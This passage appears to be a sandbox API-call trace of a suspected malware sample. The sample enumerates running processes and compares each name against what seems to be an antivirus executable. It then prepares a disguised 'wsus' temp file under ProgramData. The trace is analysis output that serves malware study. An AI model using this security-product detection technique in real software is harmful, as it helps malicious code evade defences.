lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.661] lstrlenW (lpString="temp la various.exe") returned 19 [0074.661] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.661] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.661] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.661] lstrcpyW (in: lpString1=0x18f0b0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.661] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.661] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.661] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.661] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.662] lstrcpyW (in: lpString1=0x18f0b0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.662] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.662] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.662] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.662] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.662] lstrcpyW (in: lpString1=0x18f0b0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.662] lstrlenW (lpString="houses.exe") returned 10 [0074.662] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.662] lstrcmpW (lpString1="HOUSES.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.662] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.663] lstrcpyW (in: lpString1=0x18f0b0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.663] lstrlenW (lpString="renewal.exe") returned 11 [0074.663] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.663] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.663] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.663] lstrcpyW (in: lpString1=0x18f0b0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.663] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.663] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.663] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.663] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.664] lstrcpyW (in: lpString1=0x18f0b0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.664] lstrlenW (lpString="courses ham.exe") returned 15 [0074.664] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.664] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.664] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.664] lstrcpyW (in: lpString1=0x18f0b0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.664] lstrlenW (lpString="canon.exe") returned 9 [0074.664] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.664] lstrcmpW (lpString1="CANON.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.664] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.665] lstrcpyW (in: lpString1=0x18f0b0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.665] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.665] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.665] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.665] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.665] lstrcpyW (in: lpString1=0x18f0b0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.665] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.665] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.665] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.665] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.666] lstrcpyW (in: lpString1=0x18f0b0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.666] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.666] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.666] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.666] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.666] lstrcpyW (in: lpString1=0x18f0b0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.666] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.666] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") returned 0x18 [0074.666] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.666] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.667] lstrcpyW (in: lpString1=0x18f0b0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.667] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.667] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.667] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.667] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.918] lstrcpyW (in: lpString1=0x18f0b0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.918] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.918] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.918] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.918] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.918] lstrcpyW (in: lpString1=0x18f0b0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.918] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.918] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.918] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.918] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.919] lstrcpyW (in: lpString1=0x18f0b0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.919] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.919] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.919] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.919] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.920] lstrcpyW (in: lpString1=0x18f0b0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.920] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.920] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.920] lstrcmpW (lpString1="EXCEL.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.920] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.920] lstrcpyW (in: lpString1=0x18f0b0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.920] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.920] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.920] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.920] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.921] lstrcpyW (in: lpString1=0x18f0b0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.921] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.921] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.921] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.921] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.921] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.921] lstrlenW (lpString="svchost.exe") returned 11 [0074.921] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.921] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.921] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.922] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.922] lstrlenW (lpString="cmd.exe") returned 7 [0074.922] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.922] lstrcmpW (lpString1="CMD.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.922] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.923] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.923] lstrlenW (lpString="conhost.exe") returned 11 [0074.923] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.923] lstrcmpW (lpString1="CONHOST.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.923] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.923] lstrcpyW (in: lpString1=0x18f0b0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.923] lstrlenW (lpString="powershell.exe") returned 14 [0074.923] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.923] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.923] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.924] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.924] lstrlenW (lpString="cmd_.exe") returned 8 [0074.924] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.924] lstrcmpW (lpString1="CMD_.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.924] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.924] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.924] lstrlenW (lpString="taskeng.exe") returned 11 [0074.924] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.925] lstrcmpW (lpString1="TASKENG.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.925] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.925] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.925] lstrlenW (lpString="cmd.exe") returned 7 [0074.925] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.925] lstrcmpW (lpString1="CMD.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.925] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.926] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.926] lstrlenW (lpString="conhost.exe") returned 11 [0074.926] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.926] lstrcmpW (lpString1="CONHOST.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.926] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.926] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.926] lstrlenW (lpString="cmd.exe") returned 7 [0074.927] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.927] lstrcmpW (lpString1="CMD.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.927] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.927] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.927] lstrlenW (lpString="conhost.exe") returned 11 [0074.927] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.927] lstrcmpW (lpString1="CONHOST.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.927] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.928] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.928] lstrlenW (lpString="cmd.exe") returned 7 [0074.928] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.928] lstrcmpW (lpString1="CMD.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.928] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.928] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.929] lstrlenW (lpString="conhost.exe") returned 11 [0074.929] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.929] lstrcmpW (lpString1="CONHOST.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.929] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.929] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.929] lstrlenW (lpString="cmd.exe") returned 7 [0074.929] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.929] lstrcmpW (lpString1="CMD.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.929] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.930] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.930] lstrlenW (lpString="net.exe") returned 7 [0074.930] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.930] lstrcmpW (lpString1="NET.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.930] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.930] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.930] lstrlenW (lpString="conhost.exe") returned 11 [0074.930] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.931] lstrcmpW (lpString1="CONHOST.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.931] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.931] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.931] lstrlenW (lpString="net.exe") returned 7 [0074.931] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.931] lstrcmpW (lpString1="NET.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.931] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1 [0074.932] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net1.exe" | out: lpString1="net1.exe") returned="net1.exe" [0074.932] lstrlenW (lpString="net1.exe") returned 8 [0074.932] CharUpperBuffW (in: lpsz="net1.exe", cchLength=0x8 | out: lpsz="NET1.EXE") returned 0x8 [0074.932] lstrcmpW (lpString1="NET1.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.932] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 0 [0074.932] CloseHandle (hObject=0x118) returned 1 [0074.932] CoCreateGuid (in: pguid=0x18ff18 | out: pguid=0x18ff18*(Data1=0x6ccd052c, Data2=0x65bf, Data3=0x4206, Data4=([0]=0xbc, [1]=0x6d, [2]=0xbc, [3]=0x41, [4]=0xd0, [5]=0x53, [6]=0x95, [7]=0x2c))) returned 0x0 [0074.933] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f9ec, csidl=35, fCreate=0 | out: pszPath="C:\\ProgramData") returned 1 [0074.933] wsprintfA (in: param_1=0x18fbf4, param_2="%s\\Settings\\wsus_%x.tmp" | out: 